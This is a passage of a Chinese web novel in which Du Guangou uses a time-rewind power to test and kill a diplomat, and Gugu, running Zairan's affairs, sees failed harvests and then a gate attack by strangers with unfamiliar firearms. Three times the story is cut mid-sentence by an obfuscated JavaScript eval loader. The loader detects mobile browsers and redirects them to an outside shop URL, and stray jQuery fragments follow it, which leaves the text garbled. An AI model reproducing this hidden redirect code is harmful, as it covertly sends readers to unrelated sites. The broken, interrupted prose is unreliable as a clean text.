“杜义的儿子怎么会是,这么冷酷的人……“燕戎真盯着杜光欧,面色不甘,明显极其不情愿在此处身死。 杜光欧再度逼近他,问道:“说,你接近我,到底有什么目的。” “我真的只是想要帮你啊!”燕戎真为自己辩护。 杜光欧沉默,抬剑,戳刺,是他惯用的伎俩。 “啊——!“燕戎真惨叫了一声。 那声音在山谷里回荡,估计已经传了出去,要不了多久就会有人找来了。 杜光欧刺偏了,这一剑并没有像他说的那样刺入燕戎真的心脏,而是插在他的腹部。对方黑色的长袍破了一个洞,有暗色的液体流出来,浸湿了布料。 “猜猜看,是那些官兵听到你的叫声先找过来,还是你先因失血而死?”杜光欧道。他说完,往一旁的角落走去,身影隐藏在一个巨大的木箱之后。 外围,听到惨叫声的摄文士兵冲了进来。来者有两人,他们跑上前,看到了肩腹流血的燕戎真,大惊失色,“外交官阁下,这是怎么回事!?” “别,别过来……”燕戎真虚弱地阻止他们。 然而,他的话还是慢了一步,在那两个士兵靠近的一瞬间,一个身影从侧方闪出来,一剑封喉,一剑入心,两个士兵没有丝毫还手的余地,就那么失去了生息,七零八落地倒在地上。 燕戎真看着那倒下的士兵,他的眼神中出现了惊惧。他的身体在颤抖,或许有疼痛的成分,也有的恐惧成分。 “别……别杀我。”像是亲眼见到了死亡,人才会真正意识到那些东西离他们并不遥远,燕戎真有些狼狈地往杂乱的木箱里躲藏,“别杀我……不要……” 杜光欧擦去剑身上的血,犹如厉鬼一般紧随而至,“你什么都不说的话,我很难办啊。” 111. 调虎离山1 燕戎真咬紧牙关,急促地喘息着,他的脸色愈发苍白,然而,眼眶却是愈发泛红,“你还要我说什么……我已经什么都告诉你了……” 杜光欧没有回答他的问题,只是平举自己的剑,将它卡在燕戎真的颈前,手下一发力,将人逼退了好几步,只听木箱稀稀落落碎了一地。 “咳……啊……”燕戎真撞在山体上,背后是坚硬的石壁,面前是杀人的利刃,他去无可去。 或许,他根本想不到,杜光欧根本没想过给他一个痛快。此刻濒临死亡的折磨,远比快刀来得要漫长。 又或许,他也根本想不到,这个看似有礼的王室,会如此恩将仇报,只是因为对他有一丝戒心,便要夺去他的性命。 燕戎真在后悔,杜光欧能从他绝望的眼神中看出他的悔恨。 来自甾染的男人什么也没说,直到剑切开他的喉咙,血挤满了管道,他也没有袒露任何事情。 杜光欧松开了剑,燕戎真的身体轰然倒下,砸在一地木屑之中,没有了一丝生机。 难道,这个人真的没有问题吗,是他多疑了,是他小题大做了?杜光欧如是想道。 他晃了晃脑袋。总觉得自己的疑心越来越重了,自从被黎礼那些人背叛那天起,他好像突然就变成了这样。 杜光欧捂着自己的额头,闭上眼睛。下一刻,他恍惚了一瞬,感到手中的剑柄消失了,替换成了一块小小的木制硬物。 他睁开眼睛,看到毒药匣被自己握在手心,那一粒白色的药片仍躺在里面。他抬头,看到燕戎真毫发无伤地站在面前。 男人一脸迷惑,向他提出了一个问题,“什么是时间……检查点?” 药效发作了。不,应该说,是到了检查点,回溯力检查出异常,自行发动了。 以前,杜光欧并没有想清楚一件事。回溯力的发动,究竟取决于他自身的状态,还是取决于时间? 如果是取决于他自身的状态,那么,只有当他的肉|体经历了真正的死亡的时候,能力才会发动。 但是,儿时的遭遇否定了这个想法。在那场阴差阳错害白熠中毒的宴会上,杜光欧曾一度与一碗鹿肉汤做斗争。从他吃下毒肉,到回溯力发动,总是会过那么一段不长也不短的时间,那段时间根本不足以让药效起作用。也就是说,在他的身体没有异样的情况下,回溯力还是发动了。 所以,他推测,回溯力会定期对他的状态进行一次“检查”,如果在检查的过程中,它断定他的身体正处于步向死亡的状态,那么回溯力就会发动。 在杜光欧推测出这个能力的运作规律后,他便去买了一种慢性毒药。现在,他已经通过这种方式在甾染进行了大规模的实验,对象包括一些普通民众、尖兵招募中的对手、甾染的武王、武王之子等等。 他得知了许多信息,也通过这种手段,摸清每一个拦路者的实力。 就像之前说的,既然他已经无法摆脱这不幸能力的枷锁,那么,就让他尽可能地利用它,为自己开辟更为便捷的道路。 只是,当下,这个能力还有一点不足。那就是,它在发动时没有任何的通知。 杜光欧总是在时间回溯之后才意识到力量已经发动。有些时候,死亡分支中发生的事情太少,眼前的景物几乎没有变化,很难注意到时间已经回溯。有些极端的情况下,他甚至都觉察不到能力的发动,只有眼前的人因为他前言不搭后语而表现出困惑时,他才能反应过来时间已经倒退。 不过,这只是一个小毛病。与这份能力的应用带给他的好处相比,不值一提。 大部分时候还是像现在这样——燕戎真直接从一具尸体变成了活生生的人。这样大的变化,不可能觉察不到。 面前,燕戎真还在等他的问话。杜光欧提出的“时间检查点”这个概念,显然不在对方的知识范畴里。 杜光欧将药匣收了起来,他没有必要再去验证燕戎真的想法了,或许是自己太过多疑也说不定,对方的确是抱着帮助他的心态来的。 杜光欧囫囵地把这个话题蒙混了过去,“没什么……当我什么也没说。” “唔。”燕戎真表情疑惑,但是,他没有追问,“那么,你找我到这个僻静的角落里来,是为了和我说什么事?” 这个行为需要得到合理的解释,杜光欧拿出了他一开始想好的说辞,“我听说摄文王拥有预知力,这是真的吗?” 燕戎真一愣,似乎没想到会是这个问题,“是真的。” 杜光欧看到对方眼中诚恳的光,竟然也没有感到多意外。他已经记不得是谁第一个告诉自己,北地的摄文王拥有预知未来的能力,听多了,也就不新奇了。毕竟,自己就是拥有特殊能力的人。这世界上存在其他拥有神力之人,也不是什么超出想象的稀罕事,“所以,现在的他,已经知道我们会去找他了吗?” 燕戎真一顿,笑了笑,“哈哈,这个我倒是不清楚,等见到了他,你倒是可以亲自去问问他。那位王非常的……富有同情心,他和所有人攀谈对话,不分地位的高低。我想,你有任何的问题,都可以毫无忌讳地直接问他。” 杜光欧心想,他倒是从来没有听说过这个评价,印象里,除了摄文王姜昆维拥有预知力以外,人们对他似乎没有看法。南北两地隔着一座高耸入云的横古山脉,有多少真相穿不过去,断绝其间,他不得而知。 马车已经备好,杜光欧与燕戎真两人回到了山谷北侧的大平原,登上了那刻有摄文木雕的马车。车轮转动,他们向白日当头的荒芜平地上驶去。 ## 甾染山城。王城内部,新城。 古古坐在一个长条形的原木桌前,桌面上摆着厚厚的文书。 在燕无带兵离开后,甾染内部没有人接替他的位置,武王也告病不理政务,许多事务薄积压起来,得不到解决。 一开始,没人指望有谁能出面化解,毕竟,一城之主的权力不是谁想用就能用。可是后来,内承迟迟不归,武王也彻底破罐破摔,事务越积越多,不得以,几个官员私下商通了一番,认定这时应有一个深得信任的人站出来,代内承处理政务。 而古古怎么也想不到,那些官员们居然把她推举了出来,扬言她是内承身边的红人,说她所批审过的公文,其决断也一定就是内承大人的意思。 这话前后逻辑不通,十分让人费解。闹了好久,古古才明白过来,这些人其实是选了一个替死鬼出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042792|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些公文再不审批,民众就要闹事,可是审批吧,又没人能担得起那之后可能存在的连带责任。 于是乎,这份没人敢担的责任就落到了经贸师的头上。 可古古还是疑惑,自己是管钱的,可以说在政事方面一点经验都没有,这种事怎么可能会落到她的肩上来,那些官员放心她处理政务吗? 思来想去,只有一种可能。她觉得自己的想法有些阴暗,可她就是控制不住这么想。之所以自己会被推举出来,去处理一些明显不是一个经贸师能够担负得起的政务,恐怕是因为有人在暗中算计她,想看她出丑。这些官员之中,一定有嫉妒她如今地位的人,他们想看她是不是真的那么深得内承的信任,即使将公文批得一塌糊涂也不会遭受处罚。 她承认,这些年在燕无身边的确有些张扬,但是,这不是一些小人可以趁机作乱的借口。 古古义无反顾应下了这个职责,她倒要看看究竟是谁能笑到最后。 不过,她虽然斗志昂然地揽下了这份差事,可不会做的事还是不会做。如今,她坐在偌大的长桌面前,盯着那些似乎永远也批不完的公文,只觉得脑袋里一片浆糊。 为什么邻居种了棵歪头树这种事也能引起土地纠葛啊? 官员离城远行的见闻也需要写百页的纸书一一上报吗? 怎么还有抱怨今年鹿肉口味不好要换饲料供给渠道的? 燕无天天处理的就是这些琐事吗?难怪他一批公文就是一副无可奈何的模样。 看着那些字迹不一的上书公文,古古只感觉一阵头疼,但是不批又不行。她只好把那些勉强能看下去内容挑出来,能处理多少,就处理多少。不能处理的,便都先堆放在一起,等燕无回来再说。 这段时间,燕雁似乎一直抱病不起,古古没有刻意去打听武王的状态,她对他还有怨气在身。反正,那为精力旺盛的武王要是康复了的话,估计全城很快就能知道这个消息。 他醒来对古古的现状而言也没什么帮助,那个老人家已经放弃了城中事务,不管燕无在不在,事务是不是堆积如山了,燕雁也一定不会出手援助,而是继续沉迷在他的酒罐子和美人乡里。不过,这样也好,省得他精神起来之后,又开始找她的麻烦。 所以,现在没人帮助,古古势单力薄,要靠自己去解决现在的局面。 有些王公贵族会向她汇报事务,她也只说自己是代理,没办法替燕无决策。但是,有些事情又太紧急,不能拖延。所以,古古有些时候还是会做出一些她并不太清楚对错的决策。 但是,无论是否她的决策带来了不好的后果,也没有人可以责备她。当燕无回来的时候,男人没有资格评价她的任何决定,因为,是他将一切抛下,不管不顾地就奔赴了那片战场。 古古还是不理解。她想了这么多天,依然没有想明白,为什么燕无要出兵打这最后一场仗。明明他们决定好了要将甾染的事都抛诸脑后,已经那么接近自由,可以去向牧盟,寻找不知何在的元城。 她不明白燕无为什么一句话也不解释。 咚咚,敲门声响起来。 古古拾掇了一番自己的情绪,咳嗽一声,清了清嗓子,说道:“进!” 112. 调虎离山2 进门来的是一个衣着朴素的女人,她留着一头顺直的长发,几乎坠到了大腿,“大人,今年的作物全都不结果了,秋收几乎颗粒无收。” 古古一听,这可是关系到城民温饱的大事,即刻问道:“现在种的有什么?” “有从东边进口的黑麦、冬寒菜,一些新运来的浆果树,还有一些自然生长的地衣等等。”女人回答道。 “全都没法吃吗?”古古问。 “地衣勉强能,但那些往年都是用来喂驯鹿的。其他的就不行了。”女人答。 “原因是什么?” “我们推测是因为天气太冷了,气温已经不再适合原来的作物生长。作物都是很娇弱的,一点点温度的变化,都会致使它们无法发芽结果。” 古古沉思了半晌,她说:“我需要去实地看看。” “好,我去叫人备车。”女人离开了房间。 古古迅速过完了面前的一摞公文,将它们归类为无法处理的那一类。她起身,伸了个懒腰,这个座椅坐着还是太不舒服了,原本就是按照燕无的身高设计的,她坐进去没一会腰就酸了,腿也累了。 离开房间之后,她叫上了一个眼熟的下人,她记得他叫丁森。出门后,她寻到了那通报的女人和等候的马车,几人一同去往了甾染外部的耕地。 甾染的城外有一片广袤的原野,多少年来,甾染的子民便是在这片土地上种植作物,以供应全城人的口粮。 他们没有从其他地区进口成熟食品的习惯,认为这是他们城池的根基,如果连最基础的生命保障都依赖于别人,那么,将来遇到什么事情的时候,肯定会非常的被动,身不由己。 马车拉着古古和女人来到了农田的一处,这里有一间装潢气阔的石屋,屋子前有好几排非常小块的种植田,土壤的颜色不一,里面似乎种着不一样的种子。 这是模范田,每年在农田里种植的作物,都会在这里培养一个样例,以供上级人员迅速判断每种作物今年的长势。 女人来到天地里,拨开了其中一块土壤,将里面种植的作物种子取了出来,拿到了古古的眼前。 那是一颗土黄色的冬寒菜种子,模样有些干瘪,似乎没有多少水分,只发了一点点芽,芽尖是一片惨淡的黄色。 “它已经死了。”女人说,“我们刚把它种下去的时候,它饱满圆润,充满了生机。可是,两个月过去,它却已经变成了这样……” “其他的作物也都是这样吗?”古古问。 她点头头,目光非常的伤心,“全都是这样。” “土壤是不是有什么问题,检查过吗?”古古问。 女人的表情十分难过,像是无力承受眼前所见的一切一般,“土壤没有问题,我们在棚子里也有作物种植,温度适宜,那些作物就可以生长。但是,棚子的面积太小了,根本无法供给整座城池的需要……” 古古打量了一番有着忧伤神情的人儿。她没见过她几次,只是偶尔在陪着燕无办公事的时候,会见到她向燕无汇报。这个女人总是穿着朴素的衣装,像是刚刚从农田里回来一般,没有穿金戴银的习惯。 古古对她的印象本就不错,而当下女人又是这般苦楚的表情,她自然是看不下去,说:“别急,城里有储备粮,应付一个颗粒无收的冬日绰绰有余。话说,你叫什么名字?” “我叫苏月,大人。” “叫我古古吧,我可以叫你月姐吗?”古古问。 “这太抬举我了。”苏月道。 “月姐,这可不是抬举,你为城民的温饱尽心竭力,大家都看在眼中,心知肚明。收成你也不用这么担心,既然已经确定是气温的问题,那么,在可能的范围里搭建更多的厂棚吧,趁冬天还没完全来临,种些成熟快的作物,能产多少就产出多少。剩下的缺口内承会想办法,无论是要动用粮仓,还是要向其他城市进口,肯定不会让大家饿肚子的。” 苏月捂着脸,情绪依然很低落,“内承大人那么信任我,提拔我到这个位置上来。然而,第一年,我就要让他失望了……” 古古没料到她话锋一转居然是要说这个,她支吾了一下,什么话也没说上来。 苏月抬起头来,用哀怜的目光看着古古,问道:“他一定会失望的,对不对?” 古古安慰道:“他不会,他……” 她思索了片刻,竭尽脑汁想要找到一个能够安慰对方的说辞。燕无会失望吗?她想,不会的,他不是那种会将过错不问缘由推在其他人身上的人。而且,他对这座城池没有留恋,对于它是否能够撑过这贫瘠的一年,或者往后的年年,古古怀疑他根本不在乎。 “我肯定会让他失望的……”苏月又捂住自己的脸,说道。 古古摆摆手,忙不迭说:“没关系的,新官上任,你也不熟悉。而且,今年气温异常的低,作物不生长,这也不是你能预料的事情。没事,他不会不问缘由就把你撤职的,明年再接再厉吧……” “不,我不在乎这个官职!”苏月突然情绪激动地说,眼里有祈求的意味,“我只在乎他,只在乎他怎么看我。我只是想离他更近一些,可是,如果我连他交代给我的事都做不好,我又有什么颜面留在他的身边,辅佐他到天荒地老……” 古古听出来了一丝不对劲,她眼睛亮亮的,“你喜欢他啊?” 苏月的脸颊顿时有些红,“但凡见过他的女人,见到他那忧郁的目光,都会对他有些想法吧……” “这倒是,心里会痒痒的。”古古赞同道,琢磨着自己也弄不清的感觉,“不过,虽然他眼睛很悲伤,但他平日里大部分时间其实还挺开心的,可能就是天生长成那样吧。” 苏月蹲下去,把那干瘪的种子放回土壤里,她背对着古古问:“和他天天在一起,应该很幸福吧?他长得那么高大,是不是就像避风的港湾一样,温暖、厚实,让人无法离开?” “唔?”古古回忆了一番,燕无给她的感觉并不是这样的。他们第一次相识,燕无还穿着女裙,行为也像个淑女,虽然他长得很高,但是,古古一直把他当成是一个大朋友看待。直到燕无成年,换下了女人的衣服,穿上了坚硬的军装,古古对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13051019|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他才产生了那么一点性别的概念。不过,他本人的性格是没变的。 古古得承认,她从外貌上更喜欢燕无男装时的模样,她自己也说不上来为什么,或许,就是天性里的某些东西在作祟。不过,她没有一日不把他当做自己最好的朋友,最亲密的人。燕无或许长得高大,能够帮助她做许多她做不到的体力活,但是,在那之原初,也是最根本和无法动摇的,是她认为,他们是一个无法切割的整体。和燕无是男是女,是高是矮都没有关系。是他们的共同经历、儿时相仿的苦难,决定了他们灵魂的契合。 古古思考一番,对苏月回答道:“他有时候的确像个男人……唔,我是说,会让人心动的那种。但是,相处久了,我可能只是很平静地和他待在一起。” “……是这样吗?”苏月问。 古古捏着自己的下巴,分析道:“加之知道他的过往,只会让人更想要保护他吧?别人不知道,反正我是这种感觉。” 苏月的表情一瞬有些滞愣,又变得有些怅然若失,仿佛深刻地意识到了什么。很快,她似乎调整好了情绪,笑着说道:“那样就好。” 古古有些不明所以,“好什么?” 苏月没有回答她的疑问,只是说:“我们去看看其他耕地吧。” 她们离开了石屋,继续在农田间考察。 就如苏月所说,农田的成长情况非常的差,几乎可以算得上是一片惨淡。自从古古生下来以来,她还没有见过这么困难的一年。 现在,他们有三个方案,一个是在棚子里培育粮食,二是从其他城市进口,三是动用甾染最大型的粮仓,这其中不管哪一个,都是非常重要的决策。古古觉得自己并不是能够下这个决断的人,但如果时间再拖延下去,恐怕会将事情拖得越来越严重。 至少,第一个方针她可以插上那么一嘴,如果再不开始在棚子里种植粮食,那么,今年土地就要彻底颗粒无收了,这件事等不得。 于是乎,古古拜托这里经营人苏月,起码让厂棚的建设开始动工,如果有什么资金上的问题,就来找她。 外面的天气越来越冷,他们在田地里待了一阵子,已经感觉到寒意刺骨了。古古打算打道回府,回去算算进口粮食的费用,可是苏月却一个劲拉着她东看看西瞧瞧,直把她的冻得鼻涕直流。 在一片荒芜的农田前,古古打了个喷嚏,对苏月说道:“月姐,我已经十分了解情况,不用再看了……” 苏月的态度却十分坚决,“不行,西边的田你还没瞧过,那里情况要严重多了。” 古古看了一眼西方一望无际的平原,她只觉得,再这么走下去,血都要冻僵了。她故意放慢了脚步,悄悄往身后退去,趁苏月不注意,一个健步起身,开始往回跑,不忘朝一直跟在身侧的下人喊道:“丁森!车,车!” 丁森理解了她的意思,快步往马车敢去,要将它牵过来。 苏月见古古跑了,也追上来,“诶,古古,你跑什么呀,咱们还没看完呢!” “我真的要被冻死了,饶了我吧!”古古喊道。 113. 调虎离山3 一高一矮的身影前后追逐,又先后钻进了马车之中。古古坐在一侧喘息着,盯着眼前追进来的苏月。她没想到,这个模样看上去温柔庄重的女人,居然有这么固执的一面。 苏月也坐了下来,把她有些弄乱的发丝别在耳后,面容十分的沉静,仿佛刚才那强迫别人在冰天雪地中闲逛的人不是她一样,“好吧,既然你已经冻得不行了,那我们便改日再来。” 谢天谢地。古古心里想。幸好这女人没直接把她拖出去。 丁森探了个头进来,问是不是要往城里进发。古古说是。于是乎,马车终于起步,踏向了回归甾染的方向。 他们身处甾染北部的农田,要回到城里,需要往南走。 这一路上,时光漫长,两边是枯槁的农田,苏月就盯着窗外,目光有些惆怅。不知道她是因为农田的荒芜而痛惜,还是因为别的一些什么。 他们离甾染越来越近,那高耸的围墙已经全部出现在了视野之中。 古古的目光落在城门口,她看到那里熙熙攘攘堆了一群人,像是发生了某种骚乱。 “嗯?怎么了那是。”就在她疑惑的时候,突然,一声巨响传来,声音之大就像是一颗巨大的山岩砸落在地。然而,在可见的视野里,她什么都没有看见。 马儿似乎受到了惊扰,停了下来,扬蹄乱蹬。车夫控制着缰绳,让它冷静了下来。 从甾染城门的方向跑过来了一群人,他们惊慌失措,近乎是慌不择路。 “跑、跑啊!”人群中,有人如是喊道。 那帮逃窜的人离近了,古古才看到,他们身上几乎都沾着血,目光惊恐,像是刚刚见过什么世界上最恐怖的事情一般。 “怎么回事!?”古古惊道。 一旁的丁森跳下了马车,拦住了其中一个逃窜的人,问道:“发生什么了?” 逃窜者被古古的下人逮住,一方惊慌失措,一方高大威猛,丝毫不成对手。那个逃窜者只能停下来,回答道:“城门口、城门口打起来了!” 丁森问:“谁和谁打起来了?” 逃窜者道:“我不知道!本来有一帮人要进城,他们不是甾染人,守卫要他们登记之后才能进去,然后那帮人突然就和守卫打起来了啊!守卫全都死了!我、我都没看清楚他们是怎么动的手,就只是手里拿一个类似撬棍但比撬棍还粗的东西,朝着守卫做了个动作,砰的一声,像什么东西炸了一样,紧接着守卫就纷纷倒下了,流了一地的血啊!” 古古皱着眉,远远地眺望城门口的情况。那里一片混乱,很多人倒在地上,似乎都不再动了,有人四处逃窜,还有源源不断的人在往城里跑,她分不清哪些是甾染的人,哪些是逃窜者口中的外地人。 下人丁森放走了逃窜者,回来向古古征询道:“大人,现在我们怎么做?” “……过去,看看情况,但别离太近。”古古道。 车夫接到了古古的指令,依言行事,周围也没人提出意见。虽然,他们明显都有些害怕,车夫胆战心惊地驾马,苏月抱着自己探头观望,而丁森十分警惕地挂在马车边上,但是,整架马车依然携着他们,往那城门口靠近。 突然,咻的一声,古古只听一声闷响。而后,车夫发出了一声怪异的动静,马车停了。 “怎么回事!?”古古惊道。 丁森下了车,朝前而去,他的声音隔着木板传来,“车夫死了!” 与他声音一同传来的,还有一声巨响,马车像是被什么击中了,产生了不小的震颤。 “啊!”苏月抱紧了自己的脑袋,缩成一团。 古古受了一惊,她朝护卫喊道:“回来!丁森,有人在袭击马车,回来!” 丁森在外面回答她,“不,大人,这附近没有人!我不能回去,我得驾马车,带您离开这里!” 突然,马车剧烈的摇晃起来,它迅疾地掉了个弯,速度之快,车厢几乎都要翻转过去。古古死死抓着一根竖梁,才不至于让自己撞得东倒西歪。 马车向远离甾染的方向急速狂奔,与此同时,咻咻的声响擦过车身的两旁。古古不知道那是什么声音,她从来没有听过这种声音,它们像是什么东西快速移动,割裂空气,而发出的声响。她想不明白,究竟是什么东西,以什么方式运作,才会产生这样的响动。 他们跑了很久,城池渐渐消失在透过车窗所能看到的视野中,眼前的景色变成了灰白的石壁,不过多久。丁森终于把车停了下来。 苏月蜷缩在车厢的角落,身体在颤抖,像是还没有从震惊中缓过神来。 古古打开了车门,从车上跳了下去,来不及观察周围的情况,她俯身,扶着车轱辘,有点想吐。 丁森凑了过来,询问她的状态,“大人,您没事吧。抱歉,我把马驱赶得太快了。但是,刚才的情况过于危险,我必须尽快带您离开那里……” 古古什么也没吐出来。她想起来,她这一整天都在工作,后来,又被揪出去查看农田的生长情况,根本没有时间吃一点东西。 她擦了一把嘴,抹去嘴角的口水,没什么精力顾及形象,向下人问道:“到底发生什么了?” “我不太清楚,刚才下去查看车夫的时候,发现他脑袋上开了一个血洞,但是,周围没有任何能行凶的人。远处,有一伙人神情不善地盯着我们,拿许多木制铁边的武器朝着我们,然后,似乎有很多细小的东西飞过来,我看不清,只是看到有什么东西砸在地上、马车上,力道之大,速度之快,一定距离之外就能取人性命。那很危险,所以我判断需要尽快远离。”丁森回答道。 听丁森这么描述,不难理解,那是一种远程的兵器,射程和弓箭类似,但是,威力却和箭矢一个天上一个地下。 古古直起身子,打量了一番周围,问道:“这是哪?” “白鸣谷南侧,那些人在甾染的城门口闹事,我们没法往南边走,只能往北走。”丁森答。 古古看向四周,一连串光秃的山壁进入了她的视野。往北看去,是两座山脉之间开裂的山缝,即白鸣谷。谷道前,正有过往的行人来回进出。夕阳之下,一切都是那么平静,这里的人还不知道甾染的门前发生了什么。 她使唤丁森把马车驾到更靠近峡谷的位置,在一处隐蔽的山岩之下,他们停了下来,这里既能看到白鸣谷的情况,也能远眺到南部进谷的道路,如果有什么人突入了白鸣谷,他们就能第一时间觉察到。 古古坐在车厢内,一旁,苏月还是蜷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068996|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩成一团,十分害怕的模样。但古古现在没精力安慰她,自己也处在神经绷紧的状态下,心有余悸。 她不禁开始回想刚才发生的一切。有人对甾染的城门发动了袭击,照那逃窜者的说法,门口的守卫恐怕已经全军覆没了,敌人一定已经突入了城中。偏偏这个时候燕无不在城内,一二三五军全部都被他调走了,没办法及时应对城门口的突袭。 不,难道说,敌人是因为知道这点,所以才故意在这个时间袭击城门吗? 敌人会是什么人? 一直待在燕无身边,古古对甾染的外交情况也有些概念。尤其是,会在这个节点上冒出来的闹事者,她心里其实有点数。无非就是这周边的小城,对甾染有觊觎之心,或许,就是想要趁内承不在的时候,看自己能不能闹出一番作为。 只是,让她无法理解的,是他们所持有的武器。从丁森的描述上来看,那是能杀人于无形的武器。这整个南陆的武器甾染都有,她也都见过。这座城池才是所有战争的先驱,很多小地方打仗,都是从甾染购买兵器。怎么可能出现一种他们谁都没见过的武器? 或许只有一种可能,那些袭击城门的人来自摄文,他们和南陆断绝来往已久,也许研究出来了什么新式武器也说不定。 但是,有甾染的盘查人员在,摄文人不可能携带武器穿越白鸣谷。除非,他们当真如探子所汇报的那样,开凿了山脉,找到了能过跨越横古山脉的隧道,携带武器通过,来到了南陆,并对甾染发动了袭击。 可是,如果这么推论的话,那不就代表,去阻止摄文开凿山脉的燕无失败了吗? 不,不可能是那样,他不可能失败。再者,就算真的出了什么问题,比如不小心让摄文人穿越了山脉,他也一定会第一时间赶回来,绝对不会让那些人得逞,袭击甾染。 可现在这幅状态,究竟是怎么回事……? 就在她百思不得其解的时候,一阵嘈杂声传入了耳中。她掀开车帘看去,只见白鸣谷南侧的通道跑来了一群人,他们模样慌张,像是在躲避什么一般。这群难民一般的人不管不顾地往前冲,直到了关口也不停下,冲散了正在排队入关的队伍,甚至向那狭窄的白鸣谷挤了过去。 面对突如其来的这么多人,关口的甾染士兵一时不知所措。一部分人冲进关卡,他们才反应过来,组织人手进行截堵。后来的逃难者就没有那么幸运,被装备精良的关隘士兵纷纷拦了下来。 古古等人的马车停在关口的西侧不远处,远远地,他们听到混乱的争吵声传来。 “让我过去啊,甾染已经待不下去了!” “退开!只有拥有凭证者才能通行!” “什么凭证不凭证的,再拖下去命都要没了!” “冲啊!我们冲过去!只有逃到北方才能安全!!” 越来越多的人加入了冲关的队伍,还有源源不断的人从南边逃亡而来,白鸣谷的甾染驻军再怎么被甲执锐,也拦不住这么多人同时冲关。阵线很快向白鸣谷北方推进,有不少人的身影已经消失了在白鸣谷狭隘的谷道之中。 古古在远处紧张地看着关口发生的一切,她不禁疑惑,甾染城中究竟发生了什么,导致这么多人逃命一般地冲进白鸣谷。 114. 调虎离山4 就在这时,一声惊雷炸响,天空都似乎暗淡了一瞬间。 丁森震惊地看向天空,“什么!?” 马车里的苏用捂住耳朵,发出惊惧的喊叫声。 古古只觉得,一瞬间,自己仿佛被什么东西震慑住了,巨大的响声让她愣在原地,动弹不得。片刻后,她木然地朝声间的源头看去,隔着一条山脉,只见甾染山城的方向飘起了阵阵黑烟,耳中仿佛听到了人群恸哭的微弱噪响。 “……怎么了?”她讷讷地说道。 白鸣谷关口的人们在惊声地叫嚷着,“你们听到那声音没有啊,快跑啊!再挤在这里全都要没命!” 人们水泄不通地挤在白鸣谷的关口,虽然士兵已经拦不住他们,可峡谷还是过于陕隘。许多人见到此状,放弃了攻克白鸣谷,转而向山谷的东西两侧奔去。 丁森看到人们袭来,立刻上马,说道:“请坐稳!我们也得跑,不然那群人逃亡过来,说不定会来争抢马车!” 下人说完,就立刻驱马前行,古古被甩进了车里,撞了下脑袋,但她丝毫不觉疼痛,又把头伸出车窗,盯着甾染的方向,那里升起的黑烟让她感到十分不安。 马车行驶了一阵,来到了一个深谷这中,这里有几户人家,勉强形成了一个村落。丁森便把马车停在这里,请车里的两位下来,“天色已晚,再往前跑恐怕就没有人烟了,先在这里暂留一晚,看看情况。我去把马车藏起来,两位在这里稍等我片刻。” 言毕,丁森牵着马车,往那些草房的背面走去。 古古揽住一旁苏月的胳膊,低声劝她不用害怕,一边观察这村落周围的情况。她们身处一个僻静的谷道中,这里很宽阔,能看到东边白鸣谷方向的视野,如果发现了什么异样,也能及时反应得过来,丁森停在这里看来是经过了考量的。 下人藏好了车,正往回走,便有稀稀落落的叫嚷声从东边传了过来,定睛望去,原来是那些避难的人已经逃了过来。 逃难者似乎也发现这里是个勉强还能停留的地方,便纷纷驻足在这里。他们敲响了几个草屋的房门,半请半强迫地让住民交出了食物和水。逃亡的人们渐渐在这里汇集,天色已经有些暗了,他们用废弃的木材、布料和石料在这里搭建起临时的蔽护所,祈祷着夜晚的凄冷不要夺去他们的生命。 丁森也在山壁下搭了个篷子,于是乎,三人便挤在这临时的住所里,等待着明天的日光降临。 黑夜很快来到,在一片漆黑之中,他们能听到周围住篷里人们交流的低颓声响。 “你看到了吗?” “我看到了呀……” “那是什么啊?整条街一下子就灰飞烟灭了。” “是神明的震怒。” “你疯了吧,这世上哪有神啊。” “那你怎么解释看到的一切?” 就在此时,南方又传来一声巨响,那声音惊天动地,即使他们所在的山谷离甾染有一段距离,可它的余声依然震耳,大地也随之颤动。 人们的交流一时停歇,像是静止了一般。那巨响过去后半晌,他们才又开始低语。 “内承去哪了啊?他怎么偏偏在个时候不在城里。” “武王也没有动静,我逃出城门的时候,听说他还在旧城里睡大觉呢。” “这父子俩行不行啊,甾染都让外人打成那样了,说出去丢不丢人啊。” “可不是吗。还自称什么南陆第一军事城池领导人呢,就这御敌的水平,换咱兄弟几个,谁上谁都行。” “话说,你们看见攻城的是什么人了吗?” “我看见了。他们人数很少,而且穿着很奇怪。” “怎么个奇怪?” “我说不上来。他们身上都披着轻甲,上裳像血一样鲜红,下裳又像雪一样素白,往人堆里一站,特别醒目。只是,我不知道他们皮甲的料子是拿什么做的,怎么能显出那么鲜亮的颜色来。” “没听过这种装束啊。” “没听说过。” “会不会是摄文那边的……” 